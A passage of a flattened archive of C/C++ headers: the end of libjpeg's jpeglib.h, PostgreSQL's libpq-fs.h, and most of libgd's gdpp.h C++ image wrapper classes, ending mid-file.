you pass require_image = TRUE (normal case), you need not check for * a TABLES_ONLY return code; an abbreviated file will cause an error exit. * JPEG_SUSPENDED is only possible if you use a data source module that can * give a suspension return (the stdio source module doesn't). */ /* Main entry points for decompression */ EXTERN(boolean) jpeg_start_decompress (j_decompress_ptr cinfo); EXTERN(JDIMENSION) jpeg_read_scanlines (j_decompress_ptr cinfo, JSAMPARRAY scanlines, JDIMENSION max_lines); EXTERN(JDIMENSION) jpeg_skip_scanlines (j_decompress_ptr cinfo, JDIMENSION num_lines); EXTERN(void) jpeg_crop_scanline (j_decompress_ptr cinfo, JDIMENSION *xoffset, JDIMENSION *width); EXTERN(boolean) jpeg_finish_decompress (j_decompress_ptr cinfo); /* Replaces jpeg_read_scanlines when reading raw downsampled data. */ EXTERN(JDIMENSION) jpeg_read_raw_data (j_decompress_ptr cinfo, JSAMPIMAGE data, JDIMENSION max_lines); /* Additional entry points for buffered-image mode. */ EXTERN(boolean) jpeg_has_multiple_scans (j_decompress_ptr cinfo); EXTERN(boolean) jpeg_start_output (j_decompress_ptr cinfo, int scan_number); EXTERN(boolean) jpeg_finish_output (j_decompress_ptr cinfo); EXTERN(boolean) jpeg_input_complete (j_decompress_ptr cinfo); EXTERN(void) jpeg_new_colormap (j_decompress_ptr cinfo); EXTERN(int) jpeg_consume_input (j_decompress_ptr cinfo); /* Return value is one of: */ /* #define JPEG_SUSPENDED 0 Suspended due to lack of input data */ #define JPEG_REACHED_SOS 1 /* Reached start of new scan */ #define JPEG_REACHED_EOI 2 /* Reached end of image */ #define JPEG_ROW_COMPLETED 3 /* Completed one iMCU row */ #define JPEG_SCAN_COMPLETED 4 /* Completed last iMCU row of a scan */ /* Precalculate output dimensions for current decompression parameters. */ #if JPEG_LIB_VERSION >= 80 EXTERN(void) jpeg_core_output_dimensions (j_decompress_ptr cinfo); #endif EXTERN(void) jpeg_calc_output_dimensions (j_decompress_ptr cinfo); /* Control saving of COM and APPn markers into marker_list. */ EXTERN(void) jpeg_save_markers (j_decompress_ptr cinfo, int marker_code, unsigned int length_limit); /* Install a special processing method for COM or APPn markers. */ EXTERN(void) jpeg_set_marker_processor (j_decompress_ptr cinfo, int marker_code, jpeg_marker_parser_method routine); /* Read or write raw DCT coefficients --- useful for lossless transcoding. */ EXTERN(jvirt_barray_ptr *) jpeg_read_coefficients (j_decompress_ptr cinfo); EXTERN(void) jpeg_write_coefficients (j_compress_ptr cinfo, jvirt_barray_ptr *coef_arrays); EXTERN(void) jpeg_copy_critical_parameters (j_decompress_ptr srcinfo, j_compress_ptr dstinfo); /* If you choose to abort compression or decompression before completing * jpeg_finish_(de)compress, then you need to clean up to release memory, * temporary files, etc. You can just call jpeg_destroy_(de)compress * if you're done with the JPEG object, but if you want to clean it up and * reuse it, call this: */ EXTERN(void) jpeg_abort_compress (j_compress_ptr cinfo); EXTERN(void) jpeg_abort_decompress (j_decompress_ptr cinfo); /* Generic versions of jpeg_abort and jpeg_destroy that work on either * flavor of JPEG object. These may be more convenient in some places. */ EXTERN(void) jpeg_abort (j_common_ptr cinfo); EXTERN(void) jpeg_destroy (j_common_ptr cinfo); /* Default restart-marker-resync procedure for use by data source modules */ EXTERN(boolean) jpeg_resync_to_restart (j_decompress_ptr cinfo, int desired); /* These marker codes are exported since applications and data source modules * are likely to want to use them. */ #define JPEG_RST0 0xD0 /* RST0 marker code */ #define JPEG_EOI 0xD9 /* EOI marker code */ #define JPEG_APP0 0xE0 /* APP0 marker code */ #define JPEG_COM 0xFE /* COM marker code */ /* If we have a brain-damaged compiler that emits warnings (or worse, errors) * for structure definitions that are never filled in, keep it quiet by * supplying dummy definitions for the various substructures. */ #ifdef INCOMPLETE_TYPES_BROKEN #ifndef JPEG_INTERNALS /* will be defined in jpegint.h */ struct jvirt_sarray_control { long dummy; }; struct jvirt_barray_control { long dummy; }; struct jpeg_comp_master { long dummy; }; struct jpeg_c_main_controller { long dummy; }; struct jpeg_c_prep_controller { long dummy; }; struct jpeg_c_coef_controller { long dummy; }; struct jpeg_marker_writer { long dummy; }; struct jpeg_color_converter { long dummy; }; struct jpeg_downsampler { long dummy; }; struct jpeg_forward_dct { long dummy; }; struct jpeg_entropy_encoder { long dummy; }; struct jpeg_decomp_master { long dummy; }; struct jpeg_d_main_controller { long dummy; }; struct jpeg_d_coef_controller { long dummy; }; struct jpeg_d_post_controller { long dummy; }; struct jpeg_input_controller { long dummy; }; struct jpeg_marker_reader { long dummy; }; struct jpeg_entropy_decoder { long dummy; }; struct jpeg_inverse_dct { long dummy; }; struct jpeg_upsampler { long dummy; }; struct jpeg_color_deconverter { long dummy; }; struct jpeg_color_quantizer { long dummy; }; #endif /* JPEG_INTERNALS */ #endif /* INCOMPLETE_TYPES_BROKEN */ /* * The JPEG library modules define JPEG_INTERNALS before including this file. * The internal structure declarations are read only when that is true. * Applications using the library should not include jpegint.h, but may wish * to include jerror.h. */ #ifdef JPEG_INTERNALS #include "jpegint.h" /* fetch private declarations */ #include "jerror.h" /* fetch error codes too */ #endif #ifdef __cplusplus #ifndef DONT_USE_EXTERN_C } #endif #endif #endif /* JPEGLIB_H */ libpq/libpq-fs.h 0000644 00000001175 15246445046 0007557 0 ustar 00 /*------------------------------------------------------------------------- * * libpq-fs.h * definitions for using Inversion file system routines (ie, large objects) * * * Portions Copyright (c) 1996-2020, PostgreSQL Global Development Group * Portions Copyright (c) 1994, Regents of the University of California * * src/include/libpq/libpq-fs.h * *------------------------------------------------------------------------- */ #ifndef LIBPQ_FS_H #define LIBPQ_FS_H /* * Read/write mode flags for inversion (large object) calls */ #define INV_WRITE 0x00020000 #define INV_READ 0x00040000 #endif /* LIBPQ_FS_H */ gdpp.h 0000644 00000145702 15246445046 0005672 0 ustar 00 /* ***************************************************************************** ** $Id$ ** Initial file written and documented by: ** Kevin Shepherd <kshepherd@php.net> December 2007 ** of Scarlet Line http://www.scarletline.com/ ** with contributions from Torben Nielsen. *******************************************************************************/ /** \file gdpp.h \brief Object Oriented C++ wrappers around libgd functionality. Example usage, convert png to gif: #include <fstream> #include <gdpp.h> std::ifstream in("image.png", std::ios_base::in | std::ios_base::binary ); GD::Image im(in, GD::Png_tag()); if (im.good()) { std::ofstream out("image.gif", std::ios_base::out | std::ios_base::binary ); im.Gif(out); } */ #ifdef __cplusplus #ifndef _gdpp_h #define _gdpp_h #ifdef HAVE_CONFIG_H #include "config.h" #endif #include "gd_io_stream.h" #include <string> /// namespace GD:: contains the C++ wrapper classes for libgd /** This namespace is primarily to avoid name clashes, and to contain all of the gd classes within one namespace. It is not recommended to use the "using namespace" directive with this namespace. Example usage: GD::Image im(64, 32, true); // Create a truecolor image 64 pixels wide by 32 pixels high GD::Point pt(10, 8); // The point at x=10, y=8. GD::Size sz(16, 8); // The size width=16, height=8. GD::TrueColor col(0xFF, 0, 0); // The colour red; R=255, G=0, B=0. im.Rectangle(pt, sz, col.Int()); // Draw a red rectangle with top left corner at pt, of size sz. */ namespace GD { /** This class GD::Point stores a point in two dimensions, somewhere on the plane of an image. */ class BGD_EXPORT_DATA_PROT Point { public: // Constructors Point(int x, int y) :_x(x), _y(y) {} Point(const Point & p) :_x(p._x), _y(p._y) {} Point() :_x(0), _y(0) {} Point & operator=(const Point & p) { _x = p._x; _y = p._y; return (* this); } // Accessors int X() const { return _x; } int Y() const { return _y; } // Updaters void X(int x) { _x = x; } void Y(int y) { _y = y; } void set(int x, int y) { _x = x; _y = y; } int & lhsX() { return _x; } int & lhsY() { return _y; } gdPointPtr as_gdPointPtr() { return (gdPointPtr) this; } protected: int _x, _y; }; typedef Point * PointPtr; /** This class GD::Size stores length in two dimensions. Giving the size of an area as width and height. */ class BGD_EXPORT_DATA_PROT Size { public: // Constructors Size(int w, int h) :_w(w), _h(h) {} Size(const Size & p) :_w(p._w), _h(p._h) {} Size() :_w(0), _h(0) {} Size & operator=(const Size & p) { _w = p._w; _h = p._h; return (* this); } // Accessors int W() const { return _w; } int H() const { return _h; } // Updaters void W(int w) { _w = w; } void H(int h) { _h = h; } void set(int w, int h) { _w = w; _h = h; } int & lhsW() { return _w; } int & lhsH() { return _h; } protected: int _w, _h; }; typedef Size * SizePtr; /** This class GD::TrueColor stores a colour as an RGBA quadruplet. It can also be read as an integer, and in other colour formats. */ class BGD_EXPORT_DATA_PROT TrueColor { public: union as_types { int as_int; struct uchars { unsigned char blue, green, red, alpha; } as_uchar; }; TrueColor() { internal.as_int = 0; } TrueColor(int c) { internal.as_int = c; } TrueColor(unsigned char r, unsigned char g, unsigned char b, unsigned char a = 0) { internal.as_uchar.alpha = a; internal.as_uchar.red = r; internal.as_uchar.green = g; internal.as_uchar.blue = b; } // Accessors int Int() const { return internal.as_int; } unsigned char Red() const { return internal.as_uchar.red; } unsigned char Green() const { return internal.as_uchar.green; } unsigned char Blue() const { return internal.as_uchar.blue; } unsigned char Alpha() const { return internal.as_uchar.alpha; } // Updaters void set(int c) { internal.as_int = c; } void set(unsigned char r, unsigned char g, unsigned char b, unsigned char a = 0) { internal.as_uchar.alpha = a; internal.as_uchar.red = r; internal.as_uchar.green = g; internal.as_uchar.blue = b; } void Red(unsigned char c) { internal.as_uchar.red = c; } void Green(unsigned char c) { internal.as_uchar.green = c; } void Blue(unsigned char c) { internal.as_uchar.blue = c; } void Alpha(unsigned char c) { internal.as_uchar.alpha = c; } protected: as_types internal; }; /* The following tags are simply empty structures which are used to tell the compiler which constructor we want when we know the image file format. */ struct BGD_EXPORT_DATA_PROT Png_tag {}; struct BGD_EXPORT_DATA_PROT Gif_tag {}; struct BGD_EXPORT_DATA_PROT WBMP_tag {}; struct BGD_EXPORT_DATA_PROT Jpeg_tag {}; struct BGD_EXPORT_DATA_PROT Gd_tag {}; struct BGD_EXPORT_DATA_PROT Gd2_tag {}; struct BGD_EXPORT_DATA_PROT Xbm_tag {}; /** This class GD::Image wraps all of the 'C' libgd functionality for the convenience of C++ users. An instance of this class corresponds to a single image. */ class BGD_EXPORT_DATA_PROT Image { public: /** Construct a null image */ Image() :im(0) {} /** Construct a blank image, of the given size and colour format type. \param[in] sx Width of the image \param[in] sy Height of the image \param[in] istruecolor Create a true colour image, defaults to false, i.e. create an indexed palette image. */ Image(int sx, int sy, bool istruecolor = false) :im(0) { if (istruecolor) CreateTrueColor(sx, sy); else Create(sx, sy); } /** Construct a blank image, of the given size and colour format type. \param[in] s Width and height of the image \param[in] istruecolor Create a true colour image, defaults to false, i.e. create an indexed palette image. */ Image(const Size & s, bool istruecolor = false) :im(0) { if (istruecolor) CreateTrueColor(s); else Create(s); } /** Construct an instance of the GD::Image class, given the internal gdImage poimter. Note that gdImageDestroy will be called on the image pointer in the destructor. \param[in] i Pointer to the internal gdImage */ Image(gdImagePtr i) :im(i) {} /** Copy constructor. Construct an instance of the GD::Image class, by making a copy of the GD::Image provided. \param[in] i Reference to the image to be copied */ Image(const GD::Image & i) :im(0) { Copy(i); } /** Construct an image by reading from \p in. This constructor will first attempt to determine the file format. \param[in] in The stream containing the image data */ Image(std::istream & in) :im(0) { CreateFrom(in); } /** Construct an image by reading from \p in. This constructor will first attempt to determine the file format. \param[in] in An opened FILE * handle to a file containing the image data */ Image(FILE * in) :im(0) { CreateFrom(in); } /** Construct an image by reading from memory block \p data. This constructor will first attempt to determine the image formatting. \param[in] size The byte count of the memory block \param[in] data Pointer to the memory block */ Image(int size, void * data) :im(0) { CreateFrom(size, data); } #ifdef HAVE_LIBPNG /** Construct an image by reading from \p in. The tag is an empty struct which simply tells the compiler which image read function to use. e.g. GD::Image img(input, GD::Png_tag()); // read a png file from input \param[in] in The stream containing the image data */ Image(std::istream & in, Png_tag) :im(0) { CreateFromPng(in); } /** Construct an image by reading from \p in. The tag is an empty struct which simply tells the compiler which image read function to use. e.g. GD::Image img(input, GD::Png_tag()); // read a png file from input \param[in] in An opened FILE * handle to a file containing the image data */ Image(FILE * in, Png_tag) :im(0) { CreateFromPng(in); } /** Construct an image by reading from \p in. The tag is an empty struct which simply tells the compiler which image read function to use. e.g. GD::Image img(input, GD::Png_tag()); // read a png file from input \param[in] in The io context from which to read the image data */ Image(gdIOCtx * in, Png_tag) :im(0) { CreateFromPng(in); } /** Construct an image by reading from memory block \p data. The tag is an empty struct which simply tells the compiler which image read function to use. e.g. GD::Image img(sz, dat, GD::Png_tag()); // read a png file from dat \param[in] size The byte count of the memory block \param[in] data Pointer to the memory block */ Image(int size, void * data, Png_tag) :im(0) { CreateFromPng(size, data); } #endif /** Construct an image by reading from \p in. The tag is an empty struct which simply tells the compiler which image read function to use. e.g. GD::Image img(input, GD::Gif_tag()); // read a gif file from input \param[in] in The stream containing the image data */ Image(std::istream & in, Gif_tag) :im(0) { CreateFromGif(in); } /** Construct an image by reading from \p in. The tag is an empty struct which simply tells the compiler which image read function to use. e.g. GD::Image img(input, GD::Gif_tag()); // read a gif file from input \param[in] in An opened FILE * handle to a file containing the image data */ Image(FILE * in, Gif_tag) :im(0) { CreateFromGif(in); } /** Construct an image by reading from \p in. The tag is an empty struct which simply tells the compiler which image read function to use. e.g. GD::Image img(input, GD::Gif_tag()); // read a gif file from input \param[in] in The io context from which to read the image data */ Image(gdIOCtx * in, Gif_tag) :im(0) { CreateFromGif(in); } /** Construct an image by reading from memory block \p data. The tag is an empty struct which simply tells the compiler which image read function to use. e.g. GD::Image img(sz, dat, GD::Gif_tag()); // read a gif file from dat \param[in] size The byte count of the memory block \param[in] data Pointer to the memory block */ Image(int size, void * data, Gif_tag) :im(0) { CreateFromGif(size, data); } /** Construct an image by reading from \p in. The tag is an empty struct which simply tells the compiler which image read function to use. e.g. GD::Image img(input, GD::WBMP_tag()); // read a monchrome WBMP file from input \param[in] in The stream containing the image data */ Image(std::istream & in, WBMP_tag) :im(0) { CreateFromWBMP(in); } /** Construct an image by reading from \p in. The tag is an empty struct which simply tells the compiler which image read function to use. e.g. GD::Image img(input, GD::WBMP_tag()); // read a monchrome WBMP file from input \param[in] in An opened FILE * handle to a file containing the image data */ Image(FILE * in, WBMP_tag) :im(0) { CreateFromWBMP(in); } /** Construct an image by reading from \p in. The tag is an empty struct which simply tells the compiler which image read function to use. e.g. GD::Image img(input, GD::WBMP_tag()); // read a monchrome WBMP file from input \param[in] in The io context from which to read the image data */ Image(gdIOCtx * in, WBMP_tag) :im(0) { CreateFromWBMP(in); } /** Construct an image by reading from memory block \p data. The tag is an empty struct which simply tells the compiler which image read function to use. e.g. GD::Image img(sz, dat, GD::WBMP_tag()); // read a monchrome WBMP file from dat \param[in] size The byte count of the memory block \param[in] data Pointer to the memory block */ Image(int size, void * data, WBMP_tag) :im(0) { CreateFromWBMP(size, data); } #ifdef HAVE_LIBJPEG /** Construct an image by reading from \p in. The tag is an empty struct which simply tells the compiler which image read function to use. e.g. GD::Image img(input, GD::Jpeg_tag()); // read a jpeg file from input \param[in] in The stream containing the image data */ Image(std::istream & in, Jpeg_tag) :im(0) { CreateFromJpeg(in); } /** Construct an image by reading from \p in. The tag is an empty struct which simply tells the compiler which image read function to use. e.g. GD::Image img(input, GD::Jpeg_tag()); // read a jpeg file from input \param[in] in An opened FILE * handle to a file containing the image data */ Image(FILE * in, Jpeg_tag) :im(0) { CreateFromJpeg(in); } /** Construct an image by reading from \p in. The tag is an empty struct which simply tells the compiler which image read function to use. e.g. GD::Image img(input, GD::Jpeg_tag()); // read a jpeg file from input \param[in] in The io context from which to read the image data */ Image(gdIOCtx * in, Jpeg_tag) :im(0) { CreateFromJpeg(in); } /** Construct an image by reading from memory block \p data. The tag is an empty struct which simply tells the compiler which image read function to use. e.g. GD::Image img(sz, dat, GD::Jpeg_tag()); // read a jpeg file from dat \param[in] size The byte count of the memory block \param[in] data Pointer to the memory block */ Image(int size, void * data, Jpeg_tag) :im(0) { CreateFromJpeg(size, data); } #endif /** Construct an image by reading from \p in. The tag is an empty struct which simply tells the compiler which image read function to use. e.g. GD::Image img(input, GD::Gd_tag()); // read a gd file from input \param[in] in The stream containing the image data */ Image(std::istream & in, Gd_tag) :im(0) { CreateFromGd(in); } /** Construct an image by reading from \p in. The tag is an empty struct which simply tells the compiler which image read function to use. e.g. GD::Image img(input, GD::Gd_tag()); // read a gd file from input \param[in] in An opened FILE * handle to a file containing the image data */ Image(FILE * in, Gd_tag) :im(0) { CreateFromGd(in); } /** Construct an image by reading from \p in. The tag is an empty struct which simply tells the compiler which image read function to use. e.g. GD::Image img(input, GD::Gd_tag()); // read a gd file from input \param[in] in The io context from which to read the image data */ Image(gdIOCtx * in, Gd_tag) :im(0) { CreateFromGd(in); } /** Construct an image by reading from memory block \p data. The tag is an empty struct which simply tells the compiler which image read function to use. e.g. GD::Image img(sz, dat, GD::Gd_tag()); // read a gd file from dat \param[in] size The byte count of the memory block \param[in] data Pointer to the memory block */ Image(int size, void * data, Gd_tag) :im(0) { CreateFromGd(size, data); } /** Construct an image by reading from \p in. The tag is an empty struct which simply tells the compiler which image read function to use. e.g. GD::Image img(input, GD::Gd2_tag()); // read a gd2 file from input \param[in] in The stream containing the image data */ Image(std::istream & in, Gd2_tag) :im(0) { CreateFromGd2(in); } /** Construct an image by reading from \p in. The tag is an empty struct which simply tells the compiler which image read function to use. e.g. GD::Image img(input, GD::Png_tag()); // read a png file from input \param[in] in An opened FILE * handle to a file containing the image data */ Image(FILE * in, Gd2_tag) :im(0) { CreateFromGd2(in); } /** Construct an image by reading from \p in. The tag is an empty struct which simply tells the compiler which image read function to use. e.g. GD::Image img(input, GD::Gd2_tag()); // read a gd2 file from input \param[in] in The io context from which to read the image data */ Image(gdIOCtx * in, Gd2_tag) :im(0) { CreateFromGd2(in); } /** Construct an image by reading from memory block \p data. The tag is an empty struct which simply tells the compiler which image read function to use. e.g. GD::Image img(sz, dat, GD::Gd2_tag()); // read a gd2 file from dat \param[in] size The byte count of the memory block \param[in] data Pointer to the memory block */ Image(int size, void * data, Gd2_tag) :im(0) { CreateFromGd2(size, data); } /** Construct an image by reading from \p in. The tag is an empty struct which simply tells the compiler which image read function to use. e.g. GD::Image img(input, GD::Xbm_tag()); // read an xbm file from input \param[in] in An opened FILE * handle to a file containing the image data */ Image(FILE * in, Xbm_tag) :im(0) { CreateFromXbm(in); } ~Image() { clear(); } /** Assignment Operator. Make this a copy of the GD::Image provided. \param[in] src Reference to the image to be copied */ GD::Image & operator=(const GD::Image & src) { Copy(src); return (* this); } /** Make this an exact copy of the GD::Image provided. Any existing iamge data is discarded. \param[in] src Reference to the image to be copied */ void Copy(const GD::Image & src) { int w = src.Width(), h = src.Height(); if (src.IsTrueColor()) CreateTrueColor(w, h); else { Create(w, h); PaletteCopy(src); } Copy(src, 0, 0, 0, 0, w, h); } /** Check to see if this appears to be a valid image */ bool good() const { return (im != 0); } // Creation: /** Create a palette-based image, with no more than 256 colors. \param sx Width of the desired image \param sy Height of the desired image \return true if it worked, else false */ bool Create(int sx, int sy) { clear(); return ((im = gdImageCreate(sx, sy)) != 0); } /** Create a truecolor image. \param sx Width of the desired image \param sy Height of the desired image \return true if it worked, else false */ bool CreateTrueColor(int sx, int sy) { clear(); return ((im = gdImageCreateTrueColor(sx, sy)) != 0); } /** Create a palette-based image, with no more than 256 colors. \param s Width and height of the desired image \return true if it worked, else false */ bool Create(const Size & s) { return Create(s.W(), s.H()); } /** Create a truecolor image. \param s Width and height of the desired image \return true if it worked, else false */ bool CreateTrueColor(const Size & s) { return CreateTrueColor(s.W(), s.H()); } // Create, determining the image format from the data /// Read an image from an open FILE * handle, after determining the image format bool CreateFrom(FILE * in); /// Read an image from an open standard library input stream, after determining the image format bool CreateFrom(std::istream & in); /// Read an image from a memory block, after determining the image format bool CreateFrom(int size, void * data); #ifdef HAVE_LIBPNG // Png bool CreateFromPng(FILE * in) { clear(); return ((im = gdImageCreateFromPng(in)) != 0); } bool CreateFromPng(gdIOCtx * in) { clear(); return ((im = gdImageCreateFromPngCtx(in)) != 0); } bool CreateFromPng(int size, void * data) { clear(); return ((im = gdImageCreateFromPngPtr(size, data)) != 0); } bool CreateFromPng(std::istream & in) { clear(); istreamIOCtx _in_ctx(in); return ((im = gdImageCreateFromPngCtx( & _in_ctx)) != 0); } #endif // Gif bool CreateFromGif(FILE * in) { clear(); return ((im = gdImageCreateFromGif(in)) != 0); } bool CreateFromGif(gdIOCtx * in) { clear(); return ((im = gdImageCreateFromGifCtx(in)) != 0); } bool CreateFromGif(int size, void * data) { clear(); return ((im = gdImageCreateFromGifPtr(size, data)) != 0); } bool CreateFromGif(std::istream & in) { clear(); istreamIOCtx _in_ctx(in); return ((im = gdImageCreateFromGifCtx( & _in_ctx)) != 0); } // WBMP bool CreateFromWBMP(FILE * in) { clear(); return ((im = gdImageCreateFromWBMP(in)) != 0); } bool CreateFromWBMP(gdIOCtx * in) { clear(); return ((im = gdImageCreateFromWBMPCtx(in)) != 0); } bool CreateFromWBMP(int size, void * data) { clear(); return ((im = gdImageCreateFromWBMPPtr(size, data)) != 0); } bool CreateFromWBMP(std::istream & in) { clear(); istreamIOCtx _in_ctx(in); return ((im = gdImageCreateFromWBMPCtx( & _in_ctx)) != 0); } #ifdef HAVE_LIBJPEG // Jpeg /** Load a truecolor image from a JPEG format file. Invoke CreateFromJpeg with an already opened pointer to a file containing the desired image. CreateFromJpeg does not close the file. \return true for success, or false if unable to load the image (most often because the file is corrupt or does not contain a JPEG image). You can call Width() and Height() member functions of the image to determine its size. The returned image is always a truecolor image. */ bool CreateFromJpeg(FILE * in) { clear(); return ((im = gdImageCreateFromJpeg(in)) != 0); } /** Load a truecolor image from a JPEG format file. Invoke CreateFromJpeg with an already opened pointer to a file containing the desired image. CreateFromJpeg does not close the file. \return true for success, or false if unable to load the image (most often because the file is corrupt or does not contain a JPEG image). You can call Width() and Height() member functions of the image to determine its size. The returned image is always a truecolor image. */ bool CreateFromJpeg(gdIOCtx * in) { clear(); return ((im = gdImageCreateFromJpegCtx(in)) != 0); } /** Load a truecolor image from a JPEG format file. Invoke CreateFromJpeg with an already opened pointer to a file containing the desired image. CreateFromJpeg does not close the file. \return true for success, or false if unable to load the image (most often because the file is corrupt or does not contain a JPEG image). You can call Width() and Height() member functions of the image to determine its size. The returned image is always a truecolor image. */ bool CreateFromJpeg(int size, void * data) { clear(); return ((im = gdImageCreateFromJpegPtr(size, data)) != 0); } /** Load a truecolor image from a JPEG format file. Invoke CreateFromJpeg with an image file in memory. \return true for success, or false if unable to load the image (most often because the format is corrupt or does not contain a JPEG image). You can call Width() and Height() member functions of the image to determine its size. The returned image is always a truecolor image. */ bool CreateFromJpeg(std::istream & in) { clear(); istreamIOCtx _in_ctx(in); return ((im = gdImageCreateFromJpegCtx( & _in_ctx)) != 0); } #endif // Gd bool CreateFromGd(FILE * in) { clear(); return ((im = gdImageCreateFromGd(in)) != 0); } bool CreateFromGd(gdIOCtx * in) { clear(); return ((im = gdImageCreateFromGdCtx(in)) != 0); } bool CreateFromGd(int size, void * data) { clear(); return ((im = gdImageCreateFromGdPtr(size, data)) != 0); } bool CreateFromGd(std::istream & in) { clear(); istreamIOCtx _in_ctx(in); return ((im = gdImageCreateFromGdCtx( & _in_ctx)) != 0); } // Gd2 bool CreateFromGd2(FILE * in) { clear(); return ((im = gdImageCreateFromGd2(in)) != 0); } bool CreateFromGd2(gdIOCtx * in) { clear(); return ((im = gdImageCreateFromGd2Ctx(in)) != 0); } bool CreateFromGd2(int size, void * data) { clear(); return ((im = gdImageCreateFromGd2Ptr(size, data)) != 0); } bool CreateFromGd2(std::istream & in) { clear(); istreamIOCtx _in_ctx(in); return ((im = gdImageCreateFromGd2Ctx( & _in_ctx)) != 0); } // Gd2 Part bool CreateFromGd2Part(FILE * in, int srcx, int srcy, int w, int h) { clear(); return ((im = gdImageCreateFromGd2Part(in, srcx, srcy, w, h)) != 0); } bool CreateFromGd2Part(gdIOCtx * in, int srcx, int srcy, int w, int h) { clear(); return ((im = gdImageCreateFromGd2PartCtx(in, srcx, srcy, w, h)) != 0); } bool CreateFromGd2Part(int size, void * data, int srcx, int srcy, int w, int h) { clear(); return ((im = gdImageCreateFromGd2PartPtr(size, data, srcx, srcy, w, h)) != 0); } bool CreateFromGd2Part(std::istream & in, int srcx, int srcy, int w, int h) { clear(); istreamIOCtx _in_ctx(in); return ((im = gdImageCreateFromGd2PartCtx( & _in_ctx, srcx, srcy, w, h)) != 0); } bool CreateFromGd2Part(FILE * in, const Point & src, const Size & s) { return CreateFromGd2Part(in, src.X(), src.Y(), s.W(), s.H()); } bool CreateFromGd2Part(gdIOCtx * in, const Point & src, const Size & s) { return CreateFromGd2Part(in, src.X(), src.Y(), s.W(), s.H()); } bool CreateFromGd2Part(int size, void * data, const Point & src, const Size & s) { return CreateFromGd2Part(size, data, src.X(), src.Y(), s.W(), s.H()); } bool CreateFromGd2Part(std::istream & in, const Point & src, const Size & s) { return CreateFromGd2Part(in, src.X(), src.Y(), s.W(), s.H()); } // Xbm bool CreateFromXbm(FILE * in) { clear(); return ((im = gdImageCreateFromXbm(in)) != 0); } // Xpm bool CreateFromXpm(char * filename) { clear(); return ((im = gdImageCreateFromXpm(filename)) != 0); } bool CreateFromXpm(std::string & filename) { return CreateFromXpm((char *)(filename.c_str())); } // Accessors, Updaters & Methods: void SetPixel(int x, int y, int color) { gdImageSetPixel(im, x, y, color); } void SetPixel(const Point & p, int color) { SetPixel(p.X(), p.Y(), color); } int GetPixel(int x, int y) const { return gdImageGetPixel(im, x, y); } int GetPixel(const Point & p) const { return GetPixel(p.X(), p.Y()); } int GetTrueColorPixel(int x, int y) const { return gdImageGetTrueColorPixel(im, x, y); } int GetTrueColorPixel(const Point & p) const { return GetTrueColorPixel(p.X(), p.Y()); } void SetPixel(int x, int y, TrueColor c) { SetPixel(x, y, c.Int()); } void SetPixel(const Point & p, TrueColor c) { SetPixel(p.X(), p.Y(), c.Int()); } void GetTrueColorPixel(TrueColor & c, int x, int y) const { c.set(GetTrueColorPixel(x, y)); } void GetTrueColorPixel(TrueColor & c, const Point & p) const { c.set(GetTrueColorPixel(p.X(), p.Y())); } void AABlend() { gdImageAABlend(im); } void Line(int x1, int y1, int x2, int y2, int color) { gdImageLine(im, x1, y1, x2, y2, color); } void Line(const Point & p1, const Point & p2, int color) { Line(p1.X(), p1.Y(), p2.X(), p2.Y(), color); } void Rectangle(int x1, int y1, int x2, int y2, int color) { gdImageRectangle(im, x1, y1, x2, y2, color); } void Rectangle(const Point & p1, const Point & p2, int color) { Rectangle(p1.X(), p1.Y(), p2.X(), p2.Y(), color); } void Rectangle(const Point & p, const Size & s, int color) { Rectangle(p.X(), p.Y(), p.X() + s.W(), p.Y() + s.H(), color); } void FilledRectangle(int x1, int y1, int x2, int y2, int color) { gdImageFilledRectangle(im, x1, y1, x2, y2, color); } void FilledRectangle(const Point & p1, const Point & p2, int color) { FilledRectangle(p1.X(), p1.Y(), p2.X(), p2.Y(), color); } void FilledRectangle(const Point & p, const Size & s, int color) { FilledRectangle(p.X(), p.Y(), p.X() + s.W(), p.Y() + s.H(), color); } void SetClip(int x1, int y1, int x2, int y2) { gdImageSetClip(im, x1, y1, x2, y2); } void SetClip(const Point & p1, const Point & p2) { SetClip(p1.X(), p1.Y(), p2.X(), p2.Y()); } void SetClip(const Point & p, const Size & s) { SetClip(p.X(), p.Y(), p.X() + s.W(), p.Y() + s.H()); } void GetClip(int & x1, int & y1, int & x2, int & y2) const { gdImageGetClip(im, & x1, & y1, & x2, & y2); } void GetClip(Point & p1, Point & p2) const { GetClip(p1.lhsX(), p1.lhsY(), p2.lhsX(), p2.lhsY()); } void GetClip(Point & p, Size & s) const { Point p2; GetClip(p.lhsX(), p.lhsY(), p2.lhsX(), p2.lhsY()); s.set(p2.X() - p.X(), p2.Y() - p.Y()); } bool BoundsSafe(int x, int y) const { return (gdImageBoundsSafe(im, x, y)?true:false); } bool BoundsSafe(const Point & p) const { return BoundsSafe(p.X(), p.Y()); } void Char(gdFontPtr f, int x, int y, int c, int color) { gdImageChar(im, f, x, y, c, color); } void CharUp(gdFontPtr f, int x, int y, int c, int color) { gdImageCharUp(im, f, x, y, c, color); } void Char(gdFontPtr f, const Point & p, int c, int color) { Char(f, p.X(), p.Y(), c, color); } void CharUp(gdFontPtr f, const Point & p, int c, int color) { CharUp(f, p.X(), p.Y(), c, color); } void String(gdFontPtr f, int x, int y, unsigned char * s, int color) { gdImageString(im, f, x, y, (unsigned char *)s, color); } void StringUp(gdFontPtr f, int x, int y, unsigned char * s, int color) { gdImageStringUp(im, f, x, y, (unsigned char *)s, color); } void String(gdFontPtr f, int x, int y, unsigned short * s, int color) { gdImageString16(im, f, x, y, (unsigned short *)s, color); } void StringUp(gdFontPtr f, int x, int y, unsigned short * s, int color) { gdImageStringUp16(im, f, x, y, (unsigned short *)s, color); } void String(gdFontPtr f, int x, int y, char * s, int color) { gdImageString(im, f, x, y, (unsigned char *)s, color); } void StringUp(gdFontPtr f, int x, int y, char * s, int color) { gdImageStringUp(im, f, x, y, (unsigned char *)s, color); } void String(gdFontPtr f, int x, int y, const std::string & s, int color) { String(f, x, y, (char *)s.c_str(), color); } void StringUp(gdFontPtr f, int x, int y, const std::string & s, int color) { StringUp(f, x, y, (char *)s.c_str(), color); } void String(gdFontPtr f, const Point & p, unsigned char * s, int color) { String(f, p.X(), p.Y(), (unsigned char *)s, color); } void StringUp(gdFontPtr f, const Point & p, unsigned char * s, int color) { StringUp(f, p.X(), p.Y(), (unsigned char *)s, color); } void String(gdFontPtr f, const Point & p, unsigned short * s, int color) { String(f, p.X(), p.Y(), (unsigned short *)s, color); } void StringUp(gdFontPtr f, const Point & p, unsigned short * s, int color) { StringUp(f, p.X(), p.Y(), (unsigned short *)s, color); } void String(gdFontPtr f, const Point & p, char * s, int color) { String(f, p.X(), p.Y(), (unsigned char *)s, color); } 